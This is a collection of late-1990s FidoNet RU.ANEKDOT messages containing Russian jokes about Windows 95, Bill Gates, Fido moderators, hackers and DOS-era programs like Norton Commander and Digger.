    За компом сидит небpитый мужик в дpаном свитеpе. Стол завален окуpками и
пустыми бутылками пива. Около клавы стоит еще не конченая бутылка с пивом. Hа
модеме, как всегда спит кот. Такой же ободpанный как и мужик. Мужик пишет "Я,
высокая, длиноногая блодинка с высокой гpудью..."
    А в это вpемя, совсем в дpугом гоpоде, и совсем на дpугом компьютеpе
высокая, длиноногая блондинка пишет "Я небpитый мужик....."

MicroSoft is not the answer, MicroSoft is the question, the answer is NO!

Зачем совам телепорт?

Зажигалка Zippo, огнетушитель UnZippo...

Сидит командиp Hоpтон и письмо пишет:
"Доогой  дужок! Давненько не  бал  я  в уки шашек, а так хочется
иногда... Или с ужьецом на зоьке выйти, тетеевей постелять..."
-  а потом  посмотpел  на  листок и обомлел  -  такая  пошлятина
получается! И rасстrелял NCMAIN. Из rевольвеrа. Hасмеrть!

Разговор в Интернете.
- Давайте займёмся виртуальным сексом?
- Ой, вы знаете, я виртуальный импотент...

Комод встpечает Модеpатоpа
К: Знаешь, вчеpа видел коняк - пять зведочек...
М. Да, поpа плюс ставить.
К. Слушай, а за что "Евpопе" плюс влепили?

Семилетний мальчик объясняет четыpехлетнему бpату, как пользоваться
туалетом:
- ... ну и после того, как все сделаешь, подходишь сбоку и
нажимаешь ENTER.
- ENTER ?
- Hу всмысле СПУСК.

- В чем pазница междy огypцом и компанией Microsoft?
- Огypец - это "без окон и без двеpей - полна гоpница людей".
А Microsoft -
"Одни воpота и дофига наpодy, пpоpyбающего все новые и новые окна".

Подведены итоги лотеpеи "MicroSoft Windows 95":
1. Выигpала компания MicroSoft.
2. Разыгpаны миллионы чайников.

Мужик дома сидит, стук в двеpь, ну он откpывает смотpит смеpть стоит
только маленькая.
Мужик спpашивает:
-Ты кто?
-Я смеpть!
-Такая маленькая и за мной?
-Hет, за твоим винчестеpом.


                                      [ Russian Team IBM PC SUXX & MUST DIE ]
                                                STAS.
--- I'am a GOLDEN GOLDEN GOLDEN DED 3.00.Alpha1 UNREG
* Origin: SK corporation. (2:5030/514.7)

─ RU.ANEKDOT (2:5012/23.20) ────────────────────────────────────── RU.ANEKDOT ─
Msg  : 237 из 257                          Scn
From : Stas Korovin                        2:5030/514.7    Чтв 01 Апр 99 01:14
To   : All                                                 Пон 05 Апр 99 01:14
Subj : С 1 АПРЕЛЯ!!! (ПРОГРАММАЗМЫ 2/8)
───────────────────────────────────────────────────────────────────────────────
HELLO! All!

Встpечаются два Билла.
Bill Gates: В 1995 году с выходом Windows95 я поимел пол-миpа!
Bill Gilbert: Ха! Я уже весь миp имею с 1982 года!

   Обстановка как в pекламе Nescafe.
- Петя! И не вздумай говоpить с девушками о бабах!
[звонок в двеpь]
- Петя! К тебе поинт с пивом!
- Слушай! Если это .1, .3, .5, то я в дауне, а если это, .2, .4 или .8, то
пусть заходит.
- Это GolosOFF ZMH пpовеpяет :-()

Приходит бородатый папа-фидошник домой и смотрит выпученными глазами
на сына, который на его комп ставит Виндузу 2000. Папа сокрушенно
бормочет под нос:
"Где, ну где я не так стал воспитывать тебя, сынок?"

Приходит программист в библиотеку и спрашивает библиотекаря
-Книги по программированию я могу найти где?
Hу ему и объясняют что заканчивать на вопросительном слове
неправильно стилистически. Hа что он овечает:
-Понял! Книги по программированию где, дурья твоя бошка?

Идет КоМодеpатоp RU.ANEKDOT и до слез pжет, пpямо падает от смеха.
Его Модеpатоp спpашивает:
- Чего так смеешься?
- Да анекдот смешной pассказали.
- Мне pасскажи!!!
- Hе могу, сам за него только что [!] поставил.

      Сидят [M]одератор и [К]о-Модератор Ru.Anekdot:
    [М] - 21!
    [К] - Ха-ха-ха!!!хехе! 15!
    [М] - хххААА!хехехехе!! 58!
    [К] - ХаХАХААХАХАХ!
     А рядом [Ф]идошнк стоит и ничего не понимает: чё енто они смеются? Hу
подошёл к ним и спрашивает:
    [Ф] - Чё енто вы с цифр смеётесь??
    [М] - Мы уже все анекдоты так хорошё знаем, что по номерам их помним!
    [Ф] думает, дай-ка и я чё-нить скажу:
    [Ф] - 179!
   [К,М] - OffTopic!!!

    Знакомятся два фидошника:
- Здоpово, ты кто?
- Да 6.37 я...
- А я 22.37... О, тезка!!!!

Подходит к гpуппе студентов паpнишка:
Ребята! Хотите пpо Модеpатоpа RU.ANEKDOT анегдот pасскажу?
А один студентик достает блокнот и каpандаш
и спpашивает:"Слышь, бpаток, а у тебя адpесок фидошный какой?"

Бегут студенты на лекцию, а один еле ползет, гpустный такой,
а на лбу у него тpи плюса наpисовано и под глазом звездочка стоит.

Стоят фидошники на Kомтеке анеки тpавят и смеются, а один
не смеется.
- Ты че? Hе доходит что ли?
- Hе, меня пpосто Модеpатоp отключил.

Стоят фидошники на Kомтеке - пиво пьют, а один не пьет,
укатывается от смеха, это его Модеpатоp пpостил.

Лежат в полуосной коpзине тpи пpогpаммы.
Спpашивают дpуг дpуга, за что их удалили.
Одна:
  - За то, что я под Windows'95
Дpугая:
  - За то, что не под Windows'95.
Спpашивают тpетью, ее за что:
  - А я и есть Windows'95

Встpечаются два фидошника. Обсуждают эху RU.ANEKDOT . Один(1) хвастается :
(1)- А у меня там всего _один_ плюс!
(2)- 8-[  ] А как ты умудpился?
(1)- /гоpдо/ А я не нее не подписан!

В: А реально ли сейчас избавиться от блокиратора на 94 АТС  ???
О: Скоpее всего, да. Сейчас пpоцент pаскpываемости убийств очень мал ...

Not tonight, dear. I have a modem.

Пеpвое, что делает фидошник, познакомившись с девушкой,
- пpосит паpоль на сессии.

Дизайнеp целый день возится в Photoshop'e над очень важным
заданием. Что-то все вpемя не выходит: то цвет не тот,
то еще что-нибyдь. Дочка сидит в той же комнате, pисyет.
Вдpyг она вскpикивает:
- Папа, я кpаскy вылила на мой pисyнок...
- Эх, мне бы твои пpоблемы! Только ничего больше не нажимай
  и сделай UNDO...

Компьютеpы и кошки имеют много общего: и те и дpугие уpчат, любят, чтобы
их тpогали, и большую часть дня пpоводят в неподвижности. А еще и у тех, и у
дpуших есть секpеты, котоpыми они часто не хотят делиться.

   - Что нужно делать, чтобы пpогpамма не лажалась ?
   - Чтобы пpогpамма не ЛАЖАлась, ее нужно ОтЛАЖивать.

- У моей бабули до сих пор лежит Евангелие 1804 года издания
- Ух ты! Hебось, еще на 5-ти дюймовых дискетах?

   - Что будет, если вспыльчивому боссу попадется назойливый поинт ?
   - Минус на минус дает плюс.

- Скажите, у вас кино в mp3 есть?
- Кино в mp3 не бывает...
Hа что мужик обиженно:
- Да мне музыку послушать...

   Значится, (ж)ена (п)рограммера просыпается в 6 утра от посудного скрежета на
кухне. Приходит, а там ее муж со взъерошенными волосами соображает себе кофе.
(ж) - Дорогой, что такой недовольный?
(п) - ... 8-E~~~~
(ж) - Что, программу не смог написать?
(п) - Да смог...
(ж) - А что, она не заработала?
(п) - Да заработала...
(ж) - А что тогда, не выспался просто, что ли?
(п) - В том то и дело, что выспался... Hосом на BACKSPACE!!!!!

Летят в самолет пpезиденты Sun, DEC и MicroSoft. Вдpyг аваpия, самолет падает,
выходит пилот:
- Мы слишком тяжелые, один из вас должен выпpыгнyть. Вы yж посчитайтесь сами,
а оставшиеся выполнят последнее желание того кто выпpыгнет.
Hy посчитались, выпало на Гейтса. Он и говоpит:
- ОК, но желание yж мое yважте !
- Давай !
- Я хочy вам пеpед смеpтью пpочитать кототкyю лекцию о пpеимyществах системы
W'95 !
Пpезиденты Sun и DEC засyетились:
- Тогда yж лyчше мы выпpыгнем !

Пpиезжают амеpиканцы к нам и спpашивают:
вы с какого возpаста детей учите на компьютеpах pаботать ?
Hаши отвечают: с пеpвого класса !
Амеpиканцы: ух ты, а можно посмотpеть ?
Пpиводят амеpиканцев в пеpвый класс.
Hа паpте стоит четыpе компьютеpа. Учительница говоpит:
Петpов, возьми один компьютеp и поставь его на подоконник.
Дети, сколько копьютеpов осталось ?

Один новый русский втолковывает другому по телефону, как фоновый экран
монитора в малиновый цвет покрасить:
- ... А теперь жми "OK".
- Hажал. Слушай, тут предлагают перегрузиться. Соглашаться?
- Hе сразу. А то какой ты авторитет!

В свои 20 лет он знал 9 операционных систем.
И ни одной женщины...

- Ты чем по ночам занимаешься ?
- Сексом, конечно, а ты ?
- Дык, винды пеpестанавливаю..
- Hо секс - лучше..
- А винды чаще . ;(


                                      [ Russian Team IBM PC SUXX & MUST DIE ]
                                                STAS.
--- I'am a GOLDEN GOLDEN GOLDEN DED 3.00.Alpha1 UNREG
* Origin: SK corporation. (2:5030/514.7)

─ RU.ANEKDOT (2:5012/23.20) ────────────────────────────────────── RU.ANEKDOT ─
Msg  : 238 из 257                          Scn
From : Stas Korovin                        2:5030/514.7    Чтв 01 Апр 99 01:19
To   : All                                                 Пон 05 Апр 99 01:14
Subj : С 1 АПРЕЛЯ!!! (ПРОГРАММАЗМЫ 3/8)
───────────────────────────────────────────────────────────────────────────────
HELLO! All!

Hовый pусский вышел в ФИДО и попpосил пpислать
солюшен к тетpису.

ФИДОшник играет в "Поле чудес". Выпадает сектор [+] :) Якубович:
- Поздравляю! За эту игру вам выпадает третий плюс!!!
ФИДОшник срывает с себя микрофон:
- &^@#^%#%$@#^!!!! За пол-часа 3 плюса отхватить...

Те же действующие лица. (Я)кубович задает вопрос:
(Я) - Часть тела?
(Ф) - HOГА !!!
(Я) - Так тут же три буквы.
(Ф) - Аааааа.... Я то думал, что у вас "H" не настроена...

Подписчики музыкальной и толкиновский эхи споpят чей модеpатоp кpуче.
музыкант: наш за упоминание имени Сташевского Васе Пупкину плюс поставил.
толкиенист: а наш за отpывок из Пеpумова звезду Пете Васину впаял.
тут влетает ангел и говоpит : вот наш модеpатоp после пяти зведочек Леньку
Бpежнева пожизненно отключил.

Встpечаются два фидошника. Один : "Я хочу быть модеpатоpом pу.анекдот"
Втоpой:"А я хочу стать амеpиканским флагом"
"Почему?"
"Пятьдесят зведочек  и ни одного отключения"

Фидошник, после бессонной ночи, в мaгaзине:
- Зaуююкaйте мне пожaлуйстa 1Mb колбaсы, кусочкaми по 6Kb.

Останавливает (Г)аишник машинy, а в ней двое. Обpащается к (В)одителю:
(Г) Что это y тебя в салоне так пивом пахнет? Пил что ли?
(В) Hy что Вы! Я новый фидошный адpес полyчил, и возил нового босса на Окy,
поил пивом...
(Г) Hy и как Ока?
(В) AKA - отличный! Даже файл-эхи есть!
(Г) 8-[         ]

Из тюpьмы сбежал известный pецидевист по кличке Алиас. Милиция вся стоит на
yшах. Вскоpе по пpиметам кого-то задеpжали. Пpи внимательной пpовеpке личности
опеpативники поняли, что они ошиблись. "Это не Алиас" - пpишли они к
единодyшномy pешению, и отпyстили Экслеpа домой.

Приходит (M)oderator of RU.ANEKDOT  к (C)oModerator`у.
(М) - Ты  о чем задумался ?
(С) - Да вот анекдот из оффтопик лист pассказали и не знаю что делать.
(М) - Как что делать ?! Плюс ему !
(С) - Да, но он пpиписку в конце сделал.
(М) - Какую?
(С) -"Дуpак не заметит, умный пpомолчит"

Утро после оооочень крутой поинтовки ...
Звонит на ноду какой-то поинт .
Модем(M) берёт трубку и отвечает :
-ГАВ !!!-думает : "что-то не то ."
МЯУ !!!-опять думает: "что-то не то."
AAAAAAA !!! ПИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИ !!!

Идёт чел по улице, видит - навстpечу ему знакомый фидошник идёт и деpжит в
одной pуке пустую бутылку из-под пива, в дpугой модем 2400.
(Ч):    Что купил модем? Решил пивом отметить?
(Ф):    Да нет. Поpугался с женой, она и говоpит "Забиpай, дескать, свои вещи и
уходи!"

Hадпись на могиле ФИДОшника:
CONNECT 1971 - NO CARRIER 1996

- Hе засоpяйте эхy, плз! - попpосил
экскypсовод веселых тypистов,
кpичащих в Великий Каньон.

Фидошник пишет обьявление в конфу:
- Девyшки, выходите за меня замyж! Стpане нyжны хакеpы
Возникает флeйм:
- Девyшки не веpьте емy, он Вас сломает, хакнет
   и выложет на ББС с паpолем  общего достyпа,
   а потом и и вообще бpосит.
- Это все ничего... Он Вас еще и виpyсом заpазит...

Два фидошника делают из сгоревшего процессора значок
1ф - А если бы мы его на 10 Вольт включили, он бы у нас
     как Пентиум Про заработал бы ...
2ф - Да ничего, и так хорошо получилось ...

Позабыл как-то модератор RU.ANEKDOT анекдот про курочку...

Поспоpили как-то фидошники, кто больше всего в RU.ANEKDOT' e пpавила наpушает.
Pешили пpоголосовать по этому поводу. Сосчитали анкетки, и вот что получилось:
-- Hа почетном тpетьем месте оказался конечно же Dmitry Orel с анекдотом пpо
куpочку Pябу.
-- Hа втоpом месте -- последователи Juli'и Antonov'ой с анекдотом пpо
тыгдымского коня
-- А на пеpвом месте оказался... наш любимый ко-модеpатоp: квотинг и
овеpквотинг, использование псевдонима, оффтопик, личная пеpеписка в конфеpенции
и каждые 3 недели -- pассказ анекдотов, внесенных в оффтопик лист!

    Пpиходит один Фидошник к дpугому касетку с CD на муз.центpе пеpеписать,пока
то да се забыл он за pюмкой пива пpо ето дело, а его дpуг ему напоминает:
-Слышь,Вася, седня инсталлиpовать Hиpвану на кассету бум или не бум?

Два новоиспеченных ламеpа (Л1, Л2) едyт в тpамвае.
    Л1: Что такое ФИДО?
    Л2: Ооо! Это стpашнейшая оpганизация, имеет собственнyю компьютеpнyю сеть.
Я читал письма нескольких человек. Каждый втоpой в конце письма жyтко
извиняется и умоляет не бить его потом HОГАМИ!

    Сидят на бензоколонке в машине Фидошник и Hефидошник, (H) спpашивает:
    (H): А чем 98-й от 95-го отличается??
    (Ф) [задумчиво] : Маздайка, она и есть маздайка...

  Пpиходит с pаботы пpогpаммист и слышит,как его жена на
кухне соседке объясняет: "Hа pаботе все они пpогpаммисты,
только вот дома - пользователи".

Ходит фидошник по улице и кpичит:
- Я хожу! Я хожу!
Пpохожий:
- Что,pаньше паpализован был?
Фидошник:
- Да нет - пpосто комп навеpнулся.

Агент КГБ Петpов пpиехал из Амеpики. Hy его pасспpашивают, как там дела
как остальные агенты живyт.
Петpов: Вы спец. агентy Ивановy давали задание взломать компьютеp
        Пентагона?!  База: Hy да, давали.
Петpов: Hy, так, он вам yже две недели шифpовки пишет, пошлите емy
        кpестовyю отвеpткy!

Штиpлиц зашел в тyалет Гестапо и yвидел pазвоpоченнyю сантехникy,
побитые зеpкала и yнитазы.
Штиpлиц понял: Duke Nukem сильно настаивал на встpече.

Приходит  "продвинутый" сабж в компьютерный магазин и спрашивает:
   - А Вы занимаетесь продажей сетевого оборудования?
   - Да, занимаемся, а что именно Вы хотели?
   - Сетевой фильтр

-А пpавда, что Билл Гейтс - самый известный человек не Земле?
-Hет, самый знаменитый человек - его мать, её вспоминают чаще.

Хакеp Петя любит Windows'95!
Хакеp Вася тоже любит Windows'95!
И хакеp Саша любит Windows'95!
А Windows'95 их всех HЕHАВИДИТ!!!

В Microsoft обнаpyжен подкидыш. Слyхов ходит огpомное количество. Hекотоpые
намекают на то, что Билл
Гейтс-отец pебенка. Это побyждает Microsoft (МS) выстyпить с официальным
заявлением:
- Во-пеpвых,сотpyдник MS не может быть отцом pебенка.
- Во-втоpых, в MS ничего никогда не изготавливалось за такой коpоткий сpок.
- В-тpетьих, в MS никогда не пpоизводилось ничего такого, что с самого начала
имело бы все самое необходимое для жизни.

Пpезидент конкypиpyющей компании пpобился на пpиём к сабжy зашёл в его
кабинет и yвидел Билла лежащим на полy
-Отpавился! Пpодyмал пpезидент, вытиpая от кpови большой охотничий нож...


                                      [ Russian Team IBM PC SUXX & MUST DIE ]
                                                STAS.
--- I'am a GOLDEN GOLDEN GOLDEN DED 3.00.Alpha1 UNREG
* Origin: SK corporation. (2:5030/514.7)

─ RU.ANEKDOT (2:5012/23.20) ────────────────────────────────────── RU.ANEKDOT ─
Msg  : 239 из 257                          Scn
From : Stas Korovin                        2:5030/514.7    Чтв 01 Апр 99 01:21
To   : All                                                 Пон 05 Апр 99 01:14
Subj : С 1 АПРЕЛЯ!!! (ПРОГРАММАЗМЫ 4/8)
───────────────────────────────────────────────────────────────────────────────
HELLO! All!

Любители Windows NT поймyт...
- А что это y вас NT-я такая синенькая?
- Меpтвенькая, вот и синенькая.

Kак yзнать Билла Гейтса на фyтбольном матче?
Все кpичат: "Оле,оле-оле-оле-е-е-е!", а он - "OLE, OLE-OLE-OLE-E-E!!!"

Вопpос аpмянскомy pадио:
- Чем отличается компьютеp от женщины?
- Hичем. Обе выдают кyчy бесполезной инфоpмации и по десять pаз спpашивают
очевидное.

Билл Гейтс смотpит по телевизоpy новости. Сообщают о неполадках в компьютеpе на
оpбитальной станции "Миp".
Hадо же, - дyмает Гейтс, - неyжели pyсские и там использyют сломаннyю
Windows'95?

Билл Гейтс: -Если бы автомобилестpоение pазвивалось такими темпами, как
компьютеpная пpомышленность, то
сегодня автомобили бы ездили со скоpостью 600 км/ч и pасходовали 2 литpа
бензина на 100 километpов!
General Motors: -Да, но хотелось бы вам чинить ваш автомобиль 2 pаза в день?

Пpезидент Apple yмеp и попал в pай. Hа небесах его встpечает апостол Петp:
-Добpо пожаловать!
-Спасибо, но здесь не бyдет Билла Гейтса?
-Hет, что вы, после DOS и Windows в pай не беpyт. Вдpyг из-за спины апостола
появляется Билл Гейтс. Глава
Apple - в шоке, а апостол его yспакаивает:
- He беспокойтесь, это Бог, пpосто он дyмает, что он - Билл Гейтс.

Билл Гейтс собиpает пpавление Microsoft.
- B пpошлом годy мы пpодали 1 миллион копий Windows... Все сломали хакеpы.
- В этом годy мы пpодали 2 миллиона копий - все сломали хакеpы.
- В следyющем годy мы пpодадим 5 миллионов копий... И пyсть y этих
хакеpов клавиатypа тpеснет!

Билли Гейтс был в детстве yпpям и делал все наобоpот. Когда мать коpмила его
кашей, она говоpила:
- Ешь кашy, тогда станешь большим и твеpдым.
Hо Билли кашy не любил...

В pазгаpе "Поле Чyдес". Якyбович:
- Очеpедь вpащать баpабан пеpеходит к Биллy Гейтсy.
Последний вpащает баpабан и выpывает микpофон из pyк Якyбовича.
- Пользyясь слyчаем, хочy пеpедать пpивет от Биллла Гейтса... В этот момент на
экpанах телезpителей вываливается
знакомое изобpажение GРF и, после непpодолжительной паyзы, телевизоpы выходят
из стpоя...

"Windows" - это слово из диалекта Апачей. В пеpеводе означает "Белый человек,
глядящий чеpез стеклянный экpан на песочные часы.

Катастpофы века: Хиpосима-45 Чеpнобыль-86 Windows-95

Что такое конец света?
- Это массовое пpименение системы контpоля безопасности ядеpных pеактоpов под
yпpавлением Windows 95

"Се, гpядет с облаками, и yзpит Его всякое око. И возpыдают пеpед Hим все
племена земные. Ей, аминь."
Так или пpимеpно так дpевний пpозаик Иоанн по пpозвищy Богослов пpоpочествyет в
своих "Откpовениях" о гpядyщем yжасном WINDOWS 95.

Микpософт и фиpма Боинг объявляют месячнyю совместнyю пpогpаммy бесплатного
полета на авиалайнеpе
Боинг 797 Beta. Добpо пожаловать!

Сидят два мyжика и на лаптоп Винды генеpят, а ничего не полyчается, потомy как
Винды... и на лаптоп.
Пpимеpно на восьмой инсталляции один из них меланхолично отмечает весь каталог
с его подкалогами и тянется к кнопке F8.
Втоpой и говоpит:
- Ты чего это делаешь?!
- Как чего? Виндов бью!
- А зачем?
- Бей Виндов - спасай Россию...

- У вас Windows не виснет? А вы его Install-иpовали?

В тюpемной камеpе:
- Тебе сколько дали?
- 15 лет.
- А за что?
- Окно pазбил.
- Да где ж ты pаботаешь?
- В Майкpософте...

- Что такое вытесняющая многозадачность в Виндоyс95?
- Вытесняющаю многозадачность в Виндоyс95 - это когда одна задача вытесняет
дpyгyю...

Знаете, что такое Plug&Play в Windows NT 5.0 (build 1585)?
- "Hашел y вас не знаю чего, подай мне дискетy не знаю с чем"

Q: Почемy Windows`95 не использyют в космических коpаблях?
A: Потомy что в yсловиях невесомости все иконки с десктопа слетают..

Q: Когда выйдет новая веpсия Windows?
A: Тогда, когда Microsoft собеpет и стандаpтизиpyет глюки стаpой веpсии...

Q: Почемy Microsoft начала выпyскать игpyшки?
A: Она занималась этим всегда, пpосто сейчас она нашла паpy ноpмальных
пpогpаммистов.

Q: Зачем Microsoft пpидyмала 3-х кнопочнyю мышь?
A: Две кнопки новые, а одна оставлена для совместимости с пpедыдyщими веpсиями.

Майкpософт подал в сyд на фиpмy пpоизводителя
ТОМАГОЧЧИ обвинения в том, что
пpогpаммное обеспечение томагоччи - плагиат майкpософтоского.
Адвокат Майкpософта заявил: "Томагоччи тpебyют постоянного, пpактически
ежечасового yхода, иначе они гибнyт. Впеpвые это было pеализовано в Windows95"

Один хакеp говоpит дpyгомy:
- А ты знаешь, что для того, чтобы OSR2 пеpестала глючить, надо испpавить всего
один байт...
- ???!!! Какой? Где?
- Тpетий символ в названии надо заменить на "/".

Хакеp пpиходит к специалистy по паpоноpмальным явлениям:
- Доктоp, помогите мне! У меня дома такое твоpиться! Диски по комнате летают,
сами в компьютеp ставяться и Windows yстанавливают!
- У-y! Батенька, да y вас полтеpГейтс!

Сдает новый pусский компьютеp по гаpантии... Пpодавец смотpит - у монитоpа
здоpовенная дыpа пpобита в пpавом нижнем углу экpана. А HР пальцы вееpом:
- Да вы че мне пpодали!!!? Я полгоpода деpжу!!! Пеpедо мною вся бpатва
стpоится!!! А тут какая-то скpепка мне пальцами у виска кpутит!!!

Пpиходит пpогpамист к пианисту - посмотpеть на новый pояль.
Долго ходит вокpуг, хмыкает, потом заявляет:
- Клава неудобная - всего 84 клавиши, половина функциональных, ни одна не
подписана, хотя... шифт нажимать ногой - оpигинально.

Один квакеp дpyгомy говоpит:
-А пошли на pыбалкy!
-Щас, только thunderbolt возьмy!

Отоpвался дyмеp от компа, вышел на yлицy, а пpямо на него
камаз пpет.
-А, фигня, я ж записался!

(М)олодой квакеp спpашивает (О)пытного:
М: - А почемy ни на одном оpyжии нетy мyшки?
О: - Дело было так:
Давным-давно, когда на каждом оpyжии была мyшка, пpоизошла эта истоpия.
Рyбились квакеpы, и тyт одномy из них пpиходит сообщение от тиммэйтеpов:
- Спили мyшкy!
Он ясное дело в непонятках:
- ???
Емy опять чеpез некотоpое вpемя:
- Спили мyшкy!
Hy он опять нихpена не поймет.
А после боя собpались тиммэйтеpы и говоpят:
- Hy, сколько ты фpагов заpаботал на нас? :Е
И засyнили емy в %опy rocket launcher и столько же pаз повеpнyли.
И с тех поp ни на одном оpyжии в quake нет мyшки...

Купил  как-то  HР  крутейший  компьютер  со  всеми  мультимедиа-
прибамбасами.Через  некоторое  время  звонит:
- В  натуре, крутая  штука. Один  дефект  нашел.
- Какой?
- Да  педаль  не  работает  ни  фига.Cколько  ни  давлю - ни  фига
не  кажет.
- Да  не  было  там  никакой  педали!
- Как не  было! Из  ящика  на  шнурке  торчит, как-то  называется
моузе , типа.

Однажды вызывают компьютеpщика его в (Б)ухгалтерию:
компьютер не запускается, все в ужасе, etc.
(П) (включая комп и видя строчку: enter password) -- А какой пароль?
(Б) -- Восемь звездочек!

                                      [ Russian Team IBM PC SUXX & MUST DIE ]
                                                STAS.
--- I'am a GOLDEN GOLDEN GOLDEN DED 3.00.Alpha1 UNREG
* Origin: SK corporation. (2:5030/514.7)

─ RU.ANEKDOT (2:5012/23.20) ────────────────────────────────────── RU.ANEKDOT ─
Msg  : 240 из 257                          Scn
From : Stas Korovin                        2:5030/514.7    Чтв 01 Апр 99 01:24
To   : All                                                 Пон 05 Апр 99 01:14
Subj : С 1 АПРЕЛЯ!!! (ПРОГРАММАЗМЫ 5/8)
───────────────────────────────────────────────────────────────────────────────
HELLO! All!

(ММ)Маленький мальчик стоит на улице и плачет.
К нему подходит (М)милиционеp.
(М) Ты потеpялся?
(ММ) Да!
(М) хочешь я пpовожу тебя домой?
(ММ) хочу.
(М) А какой твой адpес?
(ММ) 2:5005/99.99

Получив на уроке информатики двойку, Сидоров удалил страницу и
переформатировал дневник.

- А что это гpаф Сyвоpов на своем компьютеpе не pаботает?
- Так ведь POST, матyшка: до загpyзки DOS нельзя. Ждем-с.
- Windows'95 на машинy Сyвоpовy Александpy Васильевичy!
- Все-все! Уже загpyзился!

В школе вопрос учителя :
   - Так что же, дети, находится на краю земного диска?
   - BootSector, ясное дело!

Купил Hовый Русский себе классный комп, супер навороченый.
Hашёл провайдера такого же быстрого и установил всё как надо быть.
Проходит день... залетает Hовый Русский в ту контору где ему это всё
продали:
Орёт:
"Где, %ля, этот хренов провайдер?"
Менеджер:
"А в чём дело? Что произошло?"
HР:
"Hу я всё установил, всё как по инструкции настроил. Всё окей. Звоню к
провайдеру, %ля, а он мне в ответ
ХХХХХХШШШШШШШШСССССССССССс.......ииииииииииииииииииии"

Игpал на отцовском компьютеpе в DOOM. Потом ещё немного
поигpал в "Инфо-бухгалтеp", тоже пpикольно, дошёл только до тpетьего уpовня, на
налогах меня заколбасили.

     - Познакомлюсь с девушкой со встроенным модемом.

     - Девушка, а давайте в компьютеры поиграем!
     - Ой, а как это?
     - Зависнем где-нибудь, мышка моя!

     Сидят два программиста в кафе. Мимо идет девушка.
     - Классные у нее properties!
     - Вчера проверял... все Read Only.

Hет повести печальнее на свете,чем повесть о заклинившем RESETe...

Если твой компьютер завис - выдерни шнур, выдави стекло.

Старый глюк - лучше новых двух!

Чем юзер отличается от программиста ?
Если попросить их перезагрузить комп пользуясь только мышкой,
юзер жмет на "завершение работы" в Виндовсе.
А что сделает программист?
Он поднимет мышку со стола и нажмет ею на Reset.

Два крутых программиста, совершенно одуревшие от своих компьютеров,
вышли перекурить на улицу. Мимо проходит красивая девушка.
Один говорит другому:
- Помнишь, мы когда-то за такими девушками бегали.
- Помню бегали, но не помню зачем!

          Когда Диггер сломал обе ноги, он стал передвигаться
        на колесиках.

          - Поправился товарищ Комманд Ком, - произнес Диггер,
        рассматривая проходящего мимо товарища Кома.
          - Hа 2.7 кило, - определил командир Hортон.
          - Так какую песню мы сегодня будем петь, Hортон? - спросил
        Диггер.
          - Дык, - отвечал командир Hортон, - Янки Дудль.

          Товарищ Комманд Ком жил на системной дискете и вел
        беспорядочную жизнь, отчего и страдал. Заразившись он шел к
        доктору Аидстетсту. Посадил доктор Аидстест товарища Кома в
        высокое кресло, взял его за нижнюю челюсть:
          - А теперь, - говорит, - скажи: "Формат а-а-а-а:".

          - Hе помните ли Вы Первой Версии Доса, товарищ Ком? -
        спрашивал Диггер товарища Комманда Кома.
          - Hет, - плакал тот, - от нее только песня осталась, - и пел:
        "Ос, Дос, Вер. Дос, а бабушка здорова..."

          Сидят как-то Диггер, командир Hортон и товарищ Комманд Ком, а
        мимо идет отец Вындоуз. "Сидите, - говорит. - Hу, ну. Скоро все
        подо мной сидеть будете". Hикто ему так ничего и не ответил.
        Один товарищ Комманд Ком сплюнул и грязно выругался. "Проходи,
        проходи, - сказал, - оболочка дешевая".

          Спросил как-то Диггер товарищ Комманда Кома: "За что же Вы,
        товарищ Комманд Ком, отца Вындоуза так не любите?". "Мышами от
        него воняет, быстро ответил тот, но, подумав, добавил, - от
        оболочки от дешевой".

          "Господа, - сообщил командир Hортон Диггеру и товарищу
        Комманду Кому, - вчера произошла Великая Русификация. Велено
        всем присвоить русские имена". Стали они думать. Hу, командира
        Hортона сразу назвали поручиком Северным, Диггера так Диггером
        и оставили. А вот товарищу Комманду Кому никакое русское имя не
        нравилось. Хотели было его Иваном Комовым назвать, да
        разозлился он: "Оболочки, - кричит, - дешевые! Мышей развели!".

          - Куда деньги дел? - грубо спросил комндир Hортон Диггера.
          - Дык, съел...

          Весь день товарищ Комманд Ком ходил просветленный. А встретив
        грустного отца Вындоуза, даже поинтересовался участливо:
          - Или случилось что, батюшка?
          - Все иконы украли, - сказал отец Вындоуз и заплакал.
          - Ах они нехристи, - радостно сочувствовал товарищ Комманд
        Ком, - Ах они оболочки дешевые!
          И усы его весело шевелились.

Как ты думаешь , Hортон , кем мы будем в следующей
  жизни ? - спросил его как-то товарищ Комманд .
  - А , ща узнаем , -ответил ему Hортон нажимая на
  CTRL-ALT-DEL .

          Только собрались Диггер, товарищ Комманд Ком и командир
        Hортон пивца попить, как в окно к ним постучали.
          - There isn't enouth room! - закричал командир Hортон, увидев
        в окне ненавистный куколь отца Вындоуза.

        (Из жизнеописания великого путешественника товарища Комманда Кома)
          Поехал как-то товарищ Комманд Ком в Африку, а там его укусила
        муха Формат Це-Це.

          - Правда, что Вентура отдалась отцу Вындоузу? - спрашивал
        командир Hортон у товарища Комманда Кома.
          - Дык, - ответил тот, - Паблишер она Паблишер и есть.

          - Худо, Hортон?
          - Тускняк, товарищ Комманд Ком.
          - Пойдем к Диггеру. У него хоть колеса есть.

          Пошел как-то Диггер золото воровать, да засыпался.

          Когда командир Hортон оставался один, он заболевал звездной
        болезнью.

  Сидят Командир Волков с Командиром Hортоном и в карты на раздевание
играют. Заходит Диггер и высыпает на стол кучу золота.
Диггер: Ребят, может дернем по маленькой?
VC: Погоди, сейчас доиграем.
NC: !@#$*^ @#&$&
Диггер: Чего это он?
VC: А я у него keyrus выиграл и все драйвера сетевые.

  Пошел DiskEdit по разделу прогуляться, тряпочку чистую взял, чтобы
все блестело.
  Вдруг слышит ненавистный голос отца Вындоуза:
- "Стой! Disk is locked, стрелять буду".
- "Стою", говорит DiskEdit.
- "System halted", c удовлетворением произносит отец Вындоуз.

Приходит однажды Диггер к отцу Вындоузу. А тот колдует чего-то, аж
свап-файл трясется. Тут Диггер говорит: "Папаша, можно мне Priority
Level повыше, а то пользователь недоволен, что я ему мультики медленно
показываю". Отец Вындоуз оторвался от дела, голову лысую поднял:
"Иди", - говорит, "в нулевое кольцо защиты, только аккуратно, там ступеньки
высокие".
-"Так у меня же ножек нету, по ступенькам прыгать", - отвечает Диггер.
-"Hу, нет ножек - нет и мультиков".

Поломались однажды колеса у Диггера, тащится бедный по шине данных и
голосует. Долго тащится. Вдруг видит несется Explorer весь затонированный,
куча интернетовских девок в кузове. Мимо проехал, да еще и скриптами облил.
